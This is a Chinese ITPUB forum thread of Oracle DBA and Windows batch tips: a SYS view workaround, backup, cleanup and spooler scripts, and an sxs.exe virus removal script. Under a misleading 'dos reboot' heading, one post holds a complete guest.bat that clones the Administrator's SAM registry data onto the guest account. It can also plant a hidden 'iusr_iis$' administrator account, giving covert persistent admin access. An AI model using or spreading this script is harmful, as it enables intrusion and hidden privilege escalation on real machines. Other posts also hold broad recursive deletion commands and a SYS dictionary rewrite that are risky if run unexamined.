楼主: wanhualeng

[转载] oracle database DBA working

[复制链接]
论坛徽章:
6
2010新春纪念徽章
日期:2010-03-01 11:20:00ITPUB9周年纪念徽章
日期:2010-10-08 09:28:512010广州亚运会纪念徽章:柔道
日期:2010-12-06 10:59:502010广州亚运会纪念徽章:帆船
日期:2010-12-06 11:01:472011新春纪念徽章
日期:2011-02-18 11:43:34蜘蛛蛋
日期:2011-11-16 12:10:39
31#
发表于 2010-9-4 23:29 | 只看该作者
谢谢,收藏学习!

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
32#
 楼主| 发表于 2010-9-13 08:59 | 只看该作者

oracle 10.2.0.4的小bug

无法对package and procedure 进行编译,报in 错误

Oracle made a change to a view in this patch so here is the work around for it below.

here is what you do to fix it.
  
(1) log in as SYS.

(2) go to schema browser and extract DDL for ALL_ARGUMENTS.  Paste it into the SQL Editor and change the name of it to ALL_ARGUMENTS_OLD so you have a backup.
Run the script and verify that the view was created and is valid.

(3) run this:
  
CREATE OR REPLACE VIEW ALL_ARGUMENTS
(OWNER, OBJECT_NAME, PACKAGE_NAME, OBJECT_ID, OVERLOAD,
ARGUMENT_NAME, POSITION, SEQUENCE, DATA_LEVEL,
DATA_TYPE, DEFAULT_VALUE, DEFAULT_LENGTH, IN_OUT, DATA_LENGTH,
DATA_PRECISION, DATA_SCALE, RADIX, CHARACTER_SET_NAME, TYPE_OWNER,
TYPE_NAME, TYPE_SUBNAME, TYPE_LINK, PLS_TYPE, CHAR_LENGTH,
CHAR_USED, SUBPROGRAM_ID)
AS
SELECT u.name,                                 /* OWNER */
       NVL(a.PROCEDURE$,o.name),               /* OBJECT_NAME */
       DECODE(a.PROCEDURE$,NULL,NULL, o.name), /* PACKAGE_NAME */
       o.obj#,                                 /* OBJECT_ID */
       DECODE(a.overload#,0,NULL,a.overload#), /* OVERLOAD */
       a.argument,                             /* ARGUMENT_NAME */
       a.position#,                            /* POSITION */
       a.SEQUENCE#,                            /* SEQUENCE */
       a.LEVEL#,                               /* DATA_LEVEL */
       DECODE(a.TYPE#,                         /* DATA_TYPE */
              0, NULL,
              1, DECODE(a.charsetform, 2, 'NVARCHAR2', 'VARCHAR2'),
              2, DECODE(a.scale, -127, 'FLOAT', 'NUMBER'),
              3, 'NATIVE INTEGER',
              8, 'LONG',
              9, DECODE(a.charsetform, 2, 'NCHAR VARYING', 'VARCHAR'),
              11, 'ROWID',
              12, 'DATE',
              23, 'RAW',
              24, 'LONG RAW',
              29, 'BINARY_INTEGER',
              69, 'ROWID',
              96, DECODE(a.charsetform, 2, 'NCHAR', 'CHAR'),
              100, 'BINARY_FLOAT',
              101, 'BINARY_DOUBLE',
              102, 'REF CURSOR',
              104, 'UROWID',
              105, 'MLSLABEL',
              106, 'MLSLABEL',
              110, 'REF',
              111, 'REF',
              112, DECODE(a.charsetform, 2, 'NCLOB', 'CLOB'),
              113, 'BLOB', 114, 'BFILE', 115, 'CFILE',
              121, 'OBJECT',
              122, 'TABLE',
              123, 'VARRAY',
              178, 'TIME',
              179, 'TIME WITH TIME ZONE',
              180, 'TIMESTAMP',
              181, 'TIMESTAMP WITH TIME ZONE',
              231, 'TIMESTAMP WITH LOCAL TIME ZONE',
              182, 'INTERVAL YEAR TO MONTH',
              183, 'INTERVAL DAY TO SECOND',
              250, 'PL/SQL RECORD',
              251, 'PL/SQL TABLE',
              252, 'PL/SQL BOOLEAN',
              'UNDEFINED'),
       DEFAULT$,                                                /* DEFAULT_VALUE */
       deflength,                                               /* DEFAULT_LENGTH */
       DECODE(in_out,NULL,'IN',1,'OUT',2,'IN/OUT','Undefined'), /* IN_OUT */
       LENGTH,                                                  /* DATA_LENGTH */
       PRECISION#,                                              /* DATA_PRECISION */
       DECODE(a.TYPE#, 2, scale, 1, NULL, 96, NULL, scale),     /* DATA_SCALE */
       radix,                                                   /* RADIX */
       DECODE(a.charsetform, 1, 'CHAR_CS',                      /* CHARACTER_SET_NAME */
                             2, 'NCHAR_CS',
                             3, NLS_CHARSET_NAME(a.charsetid),
                             4, 'ARG:'||a.charsetid),
       a.type_owner,                                            /* TYPE_OWNER */
       a.type_name,                                             /* TYPE_NAME */
       a.type_subname,                                          /* TYPE_SUBNAME */
       a.type_linkname,                                         /* TYPE_LINK */
       a.pls_type,                                              /* PLS_TYPE */
       DECODE(a.TYPE#, 1, a.scale, 96, a.scale, 0),             /* CHAR_LENGTH */
       DECODE(a.TYPE#, 1, DECODE(bitand(a.properties, 128), 128, 'C', 'B'),
                      96, DECODE(bitand(a.properties, 128), 128, 'C', 'B'), 0), /* CHAR_USED */
       a.PROCEDURE#                                             /* SUBPROGRAM ID */
  FROM obj$      o,
       argument$ a,
       USER$     u
WHERE o.obj# = a.obj#
   AND o.owner# = u.USER#
   AND (owner# = USERENV('SCHEMAID')
        OR EXISTS
        (SELECT NULL
           FROM v$enabledprivs
          WHERE priv_number IN (-144,-141))
        OR o.obj# IN (SELECT obj#
                        FROM sys.objauth$
                       WHERE Grantee# IN (SELECT kzsrorol FROM x$kzsro)
                         AND privilege# = 12))
/

[ 本帖最后由 wanhualeng 于 2010-9-13 09:01 编辑 ]

使用道具 举报

回复
论坛徽章:
1088
金色在线徽章
日期:2007-04-25 04:02:08金色在线徽章
日期:2007-06-29 04:02:43金色在线徽章
日期:2007-03-11 04:02:02在线时间
日期:2007-04-11 04:01:02在线时间
日期:2007-04-12 04:01:02在线时间
日期:2007-03-07 04:01:022008版在线时间
日期:2010-05-01 00:01:152008版在线时间
日期:2011-05-01 00:01:342008版在线时间
日期:2008-06-03 11:59:43ITPUB年度最佳技术原创精华奖
日期:2013-03-22 13:18:30
33#
发表于 2010-9-14 15:51 | 只看该作者
不错,保存了

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
34#
 楼主| 发表于 2010-9-28 10:13 | 只看该作者

auto backup

set nls_lang=american_america.utf8
set exp_file=%date:~4,10%
exp aaa/aaa@aaa full=n  file=g:\db_bk\db_bk_mge%exp_file% log=g:\db_bk\mge_err%exp_file%.log

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
35#
 楼主| 发表于 2010-9-28 10:13 | 只看该作者

清除系统垃圾

@echo off
del /f/s /q %systemdrive%\*.tmp
del /f/s /q %systemdrive%\*._mp
del /f/s /q %systemdrive%\*.log
del /f/s /q %systemdrive%\*.gid
del /f/s /q %systemdrive%\*.chk
del /f/s /q %systemdrive%\*.old
del /f/s /q %windir%\*.bak
del /f/s /q %systemdrive%\recycled/*.*
del /f/s /q %windir%\prefetch\*.*
rd /s/q %windir%\temp & md %windir%\temp
rd /s/q %temp% & md %temp%
del /f/q %userprofile%\cookies\*.*
del /f/q %userprofile%\recent\*.*
rd /s/q "%userprofile%\Local Settings\Temporary Internet Files"
cls & echo  echo. & pause

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
36#
 楼主| 发表于 2010-9-28 10:20 | 只看该作者

2000XP停止打印.bat

@ECHO 请先关闭打印机电源
@ECHO OFF
PAUSE
NET STOP SPOOLER
DEL C:\WINDOWS\system32\spool\PRINTERS\*.*  /Q
NET START SPOOLER

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
37#
 楼主| 发表于 2010-9-28 10:21 | 只看该作者

app 本机绑定(转贴)

@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
find "Physical Address" ipconfig.txt >phyaddr.txt
for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M

if exist IPAddr.txt del IPaddr.txt
find "IP Address" ipconfig.txt >IPAddr.txt
for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I

arp -s %IP% %Mac%


del ipaddr.txt
del ipconfig.txt
del phyaddr.txt


exit

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
38#
 楼主| 发表于 2010-9-28 10:21 | 只看该作者
C盘转换为NTFS格式.cmd(转贴)
@ ECHO OFF
@ ECHO.
@ ECHO.                          说  明
@ ECHO ---------------------------------------------------------------
@ ECHO NTFS格式是WinXP推荐使用的格式。转换为NTFS格式能提高硬盘存储的
@ ECHO 效率,并可设置访问权限以保护文件。但NTFS格式的分区在DOS/WIN9X
@ ECHO 下均不能被识别,可能会给初级用户造成不便。如无必要请不要转换。
@ ECHO ---------------------------------------------------------------
@ ECHO.
convert c:/fs:ntfs

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
39#
 楼主| 发表于 2010-9-28 10:22 | 只看该作者
dir l转贴
@rem 此BAT文件名一定不能是"tree.bat",否则tree命令会实效,不知道为什么
@rem 可能是因为系统目录有"tree.com",系统会混淆吧.
@rem 用"dir.bat"作文件名却可以.
@echo off
rem 在当前目录生成很漂亮的结构树
tree /f > 1.TXT

rem 象DIR命令一样,不过每个下级目录文件也列出
DIR /S > 2.txt

rem 简洁地列出目录当前目录文件
DIR /d > 3.txt

使用道具 举报

回复
论坛徽章:
7
数据库板块每日发贴之星
日期:2009-07-24 01:01:02数据库板块每日发贴之星
日期:2010-09-29 01:01:01ITPUB9周年纪念徽章
日期:2010-10-08 09:31:212011新春纪念徽章
日期:2011-02-18 11:43:362012新春纪念徽章
日期:2012-01-04 11:50:44ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:372013年新春福章
日期:2013-02-25 14:51:24
40#
 楼主| 发表于 2010-9-28 10:24 | 只看该作者
dos reboot 转贴

ECHO G=FFFF:0000 | DEBUG

@echo guest.bat ^<zpid^> ^<password^>
@echo __________________________________________________________
@rem 本guest.bat自动克隆guest为administrators组。
@rem 如果存在username表示在终端登陆的环境运行bat.需要手工输入pid值。
@rem 最好先手工修改密码。执行本程序两次。哈哈。 主要是没有掩饰。regedit比较费时间。
@set zpath=%path%
@set zcd=%cd%
@set path=%path%;%windir%;%windir%\system32

:start
@net user guest |find /i "*Domain" &&echo Domain Controller, Dont clone. ADD user! &&goto DOMAIN
@if NOT "%USERNAME%"=="" echo username=[%username%],term_login mode. input PID. &&goto Term

:start1
@pulist.exe |findstr.exe /i "WINLOGON.exe" >a
@setx.exe a -f a -a 0,1 >b
@FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (b) do @set zpid=%%i
@goto AUTO

:Term
@if "%1"=="" goto USAGE
@if NOT "%2"=="" net user guest %2
@if NOT "%2"=="" net user |find /i "tsinternetuser" >nul &&net user tsinternetuser %2
@set zpid=%1


:AUTO
@echo Make admg.reg admt.reg admiis.reg
@psu.exe -p "%windir%\regedit.exe -e admin.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4" -i %zpid% >nul
@psu.exe -p "%windir%\regedit.exe -e name.$$$ HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names" -i %zpid% >nul
@echo Windows Registry Editor Version 5.00 >admg.reg
@echo Windows Registry Editor Version 5.00 >admt.reg
@echo [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5]>>admg.reg
@echo [HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003e8]>>admt.reg
@type admin.reg >a &echo "Unicode -->>> ansi . find.exe use it ansi." &if exist b del b
@echo "F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,\>>b
@setx.exe a -f a -a 4,0 |find "," >>b
@setx.exe a -f a -a 5,0 |find "," >>b
@setx.exe a -f a -a 6,0 |find "," >>b
@type b >>admg.reg
@type b >>admt.reg

:IIS
@set zda=no
@echo iusr_iis exec
@type name.$$$ >name.reg
@copy name.reg name.txt >nul
@FOR /L %%i IN (5,3,30) DO @(setx.exe a -f name.reg -a %%i,0 |find /i "IUSR_IIS$" &&set zda=%%i)
@if "%zda%" =="no" goto PSU
@rep.exe "IUSR_IIS$" name.txt /R /I >nul
@rep.exe "Editor" name.txt /R /I >nul
@find.exe /v /n "" name.txt >n1
@findstr /I "%zda%" n1 >name.iis
@setx a -f name.iis -a 0,1 -d () >zdc
@del n1
@del name.iis
@del name.$$$
@del name.txt
@del a
@del b

@For /F "tokens=1,2* delims= " %%i in (zdc) do @(echo %%i>zdd)
@For /F "tokens=1,2* delims= " %%i in (zdd) do @(set zdd=%%i)
@copy admg.reg admiis.reg >nul
@echo rep.exe "1f5" "%zdd%" admiis.reg /I
@rep.exe "1f5" "%zdd%" admiis.reg /I
@del zdc
@del zdd

:PSU
@attrib -s -r admg.bak >nul
@attrib -s -r admt.bak >nul
@copy admg.bak admg.reg >nul
@copy admt.bak admt.reg >nul
@psu.exe -p "%windir%\regedit.exe -s admg.reg" -i %zpid% >nul
@psu.exe -p "%windir%\regedit.exe -s admt.reg" -i %zpid% >nul

@if NOT "%zda%"=="no" psu.exe -p "%windir%\regedit.exe -s admiis.reg" -i %zpid% >nul
@if NOT "%zda%"=="no" net user iusr_iis$ /active:yes >nul
@if NOT "%zda%"=="no" net user iusr_iis$ /active:no >nul

@copy admg.reg admg.bak >nul
@copy admt.reg admt.bak >nul
@attrib admg.bak +r +s >nul
@attrib admt.bak +r +s >nul

@net user guest /active:yes >nul
@net user guest /active:no >nul
@net user |find /I "tsinternetuser" || goto NEXT
@net user tsinternetuser /active:yes >nul
@net user tsinternetuser /active:no >nul
@if exist admin.reg del admin.reg /f >nul
@if exist admg.reg del admg.reg /f >nul
@if exist admt.reg del admt.reg /f >nul
:Next
@goto end


OMAIN
@rem add user iusr_iis$
@if "%2"=="" echo "not input guest of password" &&goto END
@net user |find /i "iusr_iis" >nul ||net user iusr_iis$ %2 /add
@net localgroup administrators |find /i "iusr_iis$" >nul ||net localgroup administrators iusr_iis$ /add
@goto END

:USAGE
@pulist.exe |findstr.exe /i "WINLOGON explorer"
@echo " system.bat zpid <password> "
@echo " Need cur winlogon PID ,Term_mode,Must this Term_login_winlogon_pid. "
@goto end1

:END
@echo ________ALL User IN administrators :
@net localgroup administrators
:END1
@echo psu.exe -p "%windir%\regedit.exe -s admiis.reg" -i %zpid%
@set path=%zpath%
@set zpath=
@set zcd=
@set zda=
@set zdb=
@set zdd=
@set zpid=


sas 查杀
::echo 特征:在每个盘根目录下自动生成sxs.exe,autorun.inf文件,有的还在windows\system32下生成SVOHOST.exe 或 sxs.exe ,文件属性为隐含属性。自动禁用杀毒软件

::解决方法:建立批处理文件 (内容)
@echo off
taskkill /f /im sxs.exe /t
taskkill /f /im SVOHOST.exe /t
c:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf  
d:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf  
e:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf  
f:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf  
g:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
h:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
i:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
j:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
k:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
l:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
m:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
n:
attrib sxs.exe -a -h -s  
del /s /q /f sxs.exe  
attrib autorun.inf -a -h -s  
del /s /q /f autorun.inf
reg delete HKLM\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /V CheckedValue /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v "CheckedValue" /t "REG_DWORD" /d "1" /f
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V sxs.exe /f
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V SVOHOST.exe /f
exit

使用道具 举报

回复

您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

TOP技术积分榜 社区积分榜 徽章 团队 统计 知识索引树 积分竞拍 文本模式 帮助
  ITPUB首页 | ITPUB论坛 | 数据库技术 | 企业信息化 | 开发技术 | 微软技术 | 软件工程与项目管理 | IBM技术园地 | 行业纵向讨论 | IT招聘 | IT文档
  ChinaUnix | ChinaUnix博客 | ChinaUnix论坛
CopyRight 1999-2011 itpub.net All Right Reserved. 北京盛拓优讯信息技术有限公司版权所有 联系我们 未成年人举报专区 
京ICP备16024965号-8  北京市公安局海淀分局网监中心备案编号:11010802021510 广播电视节目制作经营许可证:编号(京)字第1149号
  
快速回复 返回顶部 返回列表